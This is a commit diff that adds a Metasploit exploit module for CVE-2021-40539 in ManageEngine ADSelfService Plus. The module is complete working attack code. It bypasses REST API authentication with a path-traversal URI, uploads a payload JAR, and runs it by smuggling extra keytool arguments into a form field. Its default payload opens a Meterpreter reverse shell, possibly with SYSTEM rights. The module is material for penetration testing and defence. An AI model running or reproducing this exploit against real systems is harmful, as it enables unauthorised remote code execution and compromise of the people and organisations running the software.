Add ManageEngine ADSelfService Plus CVE-2021-40539
This commit is contained in:
parent
6d34b1bc72
commit
2f1bfa738a
|
@ -0,0 +1,146 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::Java::HTTP::ClassLoader # TODO: Refactor this
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'ManageEngine ADSelfService Plus CVE-2021-40539',
|
||||
'Description' => %q{
|
||||
This module exploits CVE-2021-40539, a REST API authentication bypass
|
||||
vulnerability in ManageEngine ADSelfService Plus, to upload a JAR and
|
||||
execute it as the user running ADSelfService Plus - which is SYSTEM if
|
||||
started as a service.
|
||||
},
|
||||
'Author' => [
|
||||
# Discovered by unknown threat actors
|
||||
'Antoine Cervoise', # Independent analysis and RCE
|
||||
'Wilfried Bécard', # Independent analysis and RCE
|
||||
'wvu' # Initial analysis and module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2021-40539'],
|
||||
['URL', 'https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html'],
|
||||
['URL', 'https://attackerkb.com/topics/DMSNq5zgcW/cve-2021-40539/rapid7-analysis'],
|
||||
['URL', 'https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html'],
|
||||
['URL', 'https://github.com/synacktiv/CVE-2021-40539/blob/main/exploit.py']
|
||||
],
|
||||
'DisclosureDate' => '2021-09-07',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Privileged' => false, # true if ADSelfService Plus is run as a service
|
||||
'Targets' => [
|
||||
['Java Dropper', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 8888,
|
||||
'PAYLOAD' => 'java/meterpreter/reverse_https'
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/./'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),
|
||||
'vars_post' => {
|
||||
'methodToCall' => 'previewMobLogo'
|
||||
}
|
||||
)
|
||||
|
||||
unless res
|
||||
return CheckCode::Unknown('Target failed to respond to check.')
|
||||
end
|
||||
|
||||
unless res.code == 200 && res.body.include?('/temp/tempMobPreview.jpeg')
|
||||
return CheckCode::Safe('Failed to bypass REST API authentication.')
|
||||
end
|
||||
|
||||
CheckCode::Vulnerable('Successfully bypassed REST API authentication.')
|
||||
end
|
||||
|
||||
def exploit
|
||||
upload_payload_jar
|
||||
execute_payload_jar
|
||||
end
|
||||
|
||||
def upload_payload_jar
|
||||
print_status("Uploading payload JAR: #{jar_filename}")
|
||||
|
||||
jar = payload.encoded_jar
|
||||
jar.add_file("#{class_name}.class", constructor_class) # Hack, tbh
|
||||
|
||||
form = Rex::MIME::Message.new
|
||||
form.add_part('unspecified', nil, nil, 'form-data; name="methodToCall"')
|
||||
form.add_part('yas', nil, nil, 'form-data; name="Save"')
|
||||
form.add_part('smartcard', nil, nil, 'form-data; name="form"')
|
||||
form.add_part('Add', nil, nil, 'form-data; name="operation"')
|
||||
form.add_part(jar.pack, 'application/java-archive', 'binary',
|
||||
%(form-data; name="CERTIFICATE_PATH"; filename="#{jar_filename}"))
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/RestAPI/LogonCustomization'),
|
||||
'ctype' => "multipart/form-data; boundary=#{form.bound}",
|
||||
'data' => form.to_s
|
||||
)
|
||||
|
||||
unless res&.code == 404
|
||||
fail_with(Failure::NotVulnerable, 'Failed to upload payload JAR')
|
||||
end
|
||||
|
||||
# C:\ManageEngine\ADSelfService Plus\bin
|
||||
register_file_for_cleanup(jar_filename)
|
||||
|
||||
print_good('Successfully uploaded payload JAR')
|
||||
end
|
||||
|
||||
def execute_payload_jar
|
||||
print_status('Executing payload JAR')
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/RestAPI/Connection'),
|
||||
'vars_post' => {
|
||||
'methodToCall' => 'openSSLTool',
|
||||
'action' => 'generateCSR',
|
||||
# https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html
|
||||
'VALIDITY' => "#{rand(1..365)} -providerclass #{class_name} -providerpath #{jar_filename}"
|
||||
}
|
||||
)
|
||||
|
||||
unless res&.code == 404
|
||||
fail_with(Failure::PayloadFailed, 'Failed to execute payload JAR')
|
||||
end
|
||||
|
||||
print_good('Successfully executed payload JAR')
|
||||
end
|
||||
|
||||
def jar_filename
|
||||
@jar_filename ||= "#{rand_text_alphanumeric(8..16)}.jar"
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue